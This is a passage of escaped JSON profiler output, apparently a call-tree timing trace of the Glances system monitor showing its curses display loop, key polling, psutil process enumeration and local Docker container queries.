[{\"identifier\": \"[self]\",\"time\": 0.001925,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001942993956618, \"l819\": 0.002001942993956618},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001942993956618, \"l1094\": 0.002001942993956618},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001942993956618, \"l1054\": 0.002001942993956618},\"children\": [{\"identifier\": \"display_stats_with_current_size\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001016\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001942993956618, \"l1018\": 0.002001942993956618},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.102058,\"attributes\": {\"cGlancesCursesStandalone\": 0.10205763900012244, \"l291\": 0.10205763900012244},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.102058,\"attributes\": {\"cGlancesCursesStandalone\": 0.10205763900012244, \"l260\": 0.10205763900012244},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.102058,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.102058,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100345,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034542200446595, \"l1202\": 0.10034542200446595},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100345,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100345,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100542,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054162099550012, \"l291\": 0.10054162099550012},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100542,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054162099550012, \"l260\": 0.10054162099550012},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100542,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100542,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100420,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041990000172518, \"l1202\": 0.10041990000172518},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100420,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100420,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100626,\"attributes\": {\"cGlancesCursesStandalone\": 0.10062632900371682, \"l291\": 0.10062632900371682},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100626,\"attributes\": {\"cGlancesCursesStandalone\": 0.10062632900371682, \"l260\": 0.10062632900371682},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100626,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100626,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058836499956669, \"l1202\": 0.10058836499956669},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100588,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100588,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100581,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058065799967153, \"l291\": 0.10058065799967153},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100581,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058065799967153, \"l260\": 0.10058065799967153},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100581,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100581,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100439,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043928700179094, \"l1202\": 0.10043928700179094},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100439,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100439,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100520,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051952699723188, \"l291\": 0.10051952699723188},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100520,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051952699723188, \"l260\": 0.10051952699723188},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100520,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100520,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100477,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047733299870742, \"l1202\": 0.10047733299870742},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100477,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100477,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054687700176146, \"l291\": 0.10054687700176146},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054687700176146, \"l260\": 0.10054687700176146},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100547,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100547,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045772799639963, \"l1202\": 0.10045772799639963},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100458,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100458,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100562,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056162399996538, \"l291\": 0.10056162399996538},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100562,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056162399996538, \"l260\": 0.10056162399996538},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100562,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100562,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100378,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003777000005357, \"l1202\": 0.1003777000005357},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100378,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100378,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100644,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064419400441693, \"l291\": 0.10064419400441693},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100644,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064419400441693, \"l260\": 0.10064419400441693},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100644,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100644,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100475,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047506299451925, \"l1202\": 0.10047506299451925},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100475,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100475,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100544,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005444170004921, \"l291\": 0.1005444170004921},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100544,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005444170004921, \"l260\": 0.1005444170004921},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100544,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100544,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100484,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048372299934272, \"l1202\": 0.10048372299934272},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100484,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100484,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100548,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054792400478618, \"l291\": 0.10054792400478618},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100548,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054792400478618, \"l260\": 0.10054792400478618},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100548,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100548,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100490,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004898460014374, \"l1202\": 0.1004898460014374},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100490,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100490,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.500280,\"attributes\": {\"cGlancesStats\": 0.5002799319991027, \"l287\": 0.5002799319991027},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.500280,\"attributes\": {\"cGlancesStats\": 0.5002799319991027, \"l575\": 0.5002799319991027},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.500280,\"attributes\": {\"l571\": 0.5002799319991027},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.500280,\"attributes\": {\"cGlancesStats\": 0.5002799319991027, \"l274\": 0.4780981759977294, \"l275\": 0.022181756001373287},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.074286,\"attributes\": {\"cDiskioPlugin\": 0.0042802929965546355, \"l1278\": 0.07428554199577775, \"cContainersPlugin\": 0.006008905002090614, \"cProcesscountPlugin\": 0.0639963439971325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.074286,\"attributes\": {\"l1295\": 0.07428554199577775},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.004280,\"attributes\": {\"cDiskioPlugin\": 0.0042802929965546355, \"l114\": 0.0042802929965546355},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.004280,\"attributes\": {\"cDiskioPlugin\": 0.0042802929965546355, \"l1351\": 0.002301560998603236, \"l1362\": 0.0019787319979513995},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002302,\"attributes\": {\"cDiskioPlugin\": 0.002301560998603236, \"l148\": 0.002301560998603236},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002302,\"attributes\": {\"l2133\": 0.002301560998603236},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.002302,\"attributes\": {\"l660\": 0.002301560998603236},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.002302,\"attributes\": {\"c_WrapNumbers\": 0.002301560998603236, \"l606\": 0.002301560998603236},\"children\": [{\"identifier\": \"_remove_dead_reminders\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000586\",\"time\": 0.002302,\"attributes\": {\"c_WrapNumbers\": 0.002301560998603236, \"l592\": 0.002301560998603236},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002302,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"compute_rate_on_list\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001339\",\"time\": 0.001979,\"attributes\": {\"cDiskioPlugin\": 0.0019787319979513995, \"l1346\": 0.0019787319979513995},\"children\": [{\"identifier\": \"compute_rate\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001307\",\"time\": 0.001979,\"attributes\": {\"cDiskioPlugin\": 0.0019787319979513995, \"l1320\": 0.0019787319979513995},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001979,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.006009,\"attributes\": {\"cContainersPlugin\": 0.006008905002090614, \"l252\": 0.006008905002090614},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.006009,\"attributes\": {\"l256\": 0.006008905002090614},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.006009,\"attributes\": {\"l248\": 0.006008905002090614},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.006009,\"attributes\": {\"cDockerExtension\": 0.006008905002090614, \"l260\": 0.006008905002090614},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.006009,\"attributes\": {\"cContainerCollection\": 0.006008905002090614, \"l1009\": 0.006008905002090614},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.006009,\"attributes\": {\"cAPIClient\": 0.006008905002090614, \"l212\": 0.006008905002090614},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.006009,\"attributes\": {\"cAPIClient\": 0.006008905002090614, \"l44\": 0.006008905002090614},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004007,\"attributes\": {\"cAPIClient\": 0.004007495001133066, \"l246\": 0.004007495001133066},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004007,\"attributes\": {\"cAPIClient\": 0.004007495001133066, \"l602\": 0.004007495001133066},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004007,\"attributes\": {\"cAPIClient\": 0.004007495001133066, \"l589\": 0.004007495001133066},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.004007,\"attributes\": {\"cAPIClient\": 0.004007495001133066, \"l703\": 0.004007495001133066},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.004007,\"attributes\": {\"cUnixHTTPAdapter\": 0.004007495001133066, \"l644\": 0.004007495001133066},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.004007,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.004007495001133066, \"l787\": 0.004007495001133066},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.004007,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.004007495001133066, \"l493\": 0.002004178997594863, \"l534\": 0.0020033160035382025},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000424\",\"time\": 0.002004,\"attributes\": {\"cUnixHTTPConnection\": 0.002004178997594863, \"l459\": 0.002004178997594863},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002003,\"attributes\": {\"cUnixHTTPConnection\": 0.0020033160035382025, \"l571\": 0.0020033160035382025},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002003,\"attributes\": {\"cUnixHTTPConnection\": 0.0020033160035382025, \"l1430\": 0.0020033160035382025},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002003,\"attributes\": {\"cHTTPResponse\": 0.0020033160035382025, \"l350\": 0.0020033160035382025},\"children\": [{\"identifier\": \"parse_headers\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000245\",\"time\": 0.002003,\"attributes\": {\"l249\": 0.0020033160035382025},\"children\": [{\"identifier\": \"_parse_header_lines\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000231\",\"time\": 0.002003,\"attributes\": {\"l243\": 0.0020033160035382025},\"children\": [{\"identifier\": \"parsestr\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u000056\",\"time\": 0.002003,\"attributes\": {\"cParser\": 0.0020033160035382025, \"l64\": 0.0020033160035382025},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u000041\",\"time\": 0.002003,\"attributes\": {\"cParser\": 0.0020033160035382025, \"l53\": 0.0020033160035382025},\"children\": [{\"identifier\": \"feed\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000173\",\"time\": 0.002003,\"attributes\": {\"cFeedParser\": 0.0020033160035382025, \"l176\": 0.0020033160035382025},\"children\": [{\"identifier\": \"_call_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000178\",\"time\": 0.002003,\"attributes\": {\"cFeedParser\": 0.0020033160035382025, \"l180\": 0.0020033160035382025},\"children\": [{\"identifier\": \"_parsegen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000218\",\"time\": 0.002003,\"attributes\": {\"cFeedParser\": 0.0020033160035382025, \"l240\": 0.0020033160035382025},\"children\": [{\"identifier\": \"_parse_headers\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000472\",\"time\": 0.002003,\"attributes\": {\"cFeedParser\": 0.0020033160035382025, \"l489\": 0.0020033160035382025},\"children\": [{\"identifier\": \"header_source_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/_policybase.py\\u0000310\",\"time\": 0.002003,\"attributes\": {\"cCompat32\": 0.0020033160035382025, \"l319\": 0.0020033160035382025},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063996,\"attributes\": {\"cProcesscountPlugin\": 0.0639963439971325, \"l85\": 0.0639963439971325},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063996,\"attributes\": {\"cGlancesProcesses\": 0.0639963439971325, \"l617\": 0.057986747997347265, \"l624\": 0.001997286999539938, \"l653\": 0.0021306310009094886, \"l659\": 0.0018816779993358068},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057987,\"attributes\": {\"cGlancesProcesses\": 0.057986747997347265, \"l478\": 0.04998444699594984, \"l493\": 0.008002301001397427},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049984,\"attributes\": {\"l1541\": 0.0026036359995487146, \"l1558\": 0.047380810996401124},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002604,\"attributes\": {\"l1485\": 0.0026036359995487146},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002604,\"attributes\": {\"l1526\": 0.0026036359995487146},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002604,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002604,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.047381,\"attributes\": {\"cProcess\": 0.047380810996401124, \"l579\": 0.03338646499469178, \"l572\": 0.00999619900539983, \"l578\": 0.003998146996309515},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001387,\"attributes\": {\"cProcess\": 0.001387124000757467, \"l939\": 0.001387124000757467},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001387,\"attributes\": {\"cProcess\": 0.001387124000757467, \"l1593\": 0.001387124000757467},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001387,\"attributes\": {\"cProcess\": 0.001387124000757467, \"l2053\": 0.001387124000757467},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001387,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001387,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998279967694543, \"l836\": 0.0019998279967694543},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998279967694543, \"l1593\": 0.0019998279967694543},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998279967694543, \"l1796\": 0.0019998279967694543},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019998279967694543},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528998567257, \"l939\": 0.001999528998567257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528998567257, \"l1593\": 0.001999528998567257},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528998567257, \"l2052\": 0.001999528998567257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528998567257, \"l1593\": 0.001999528998567257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528998567257, \"l382\": 0.001999528998567257},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528998567257, \"l1718\": 0.001999528998567257},\"children\": [{\"identifier\": 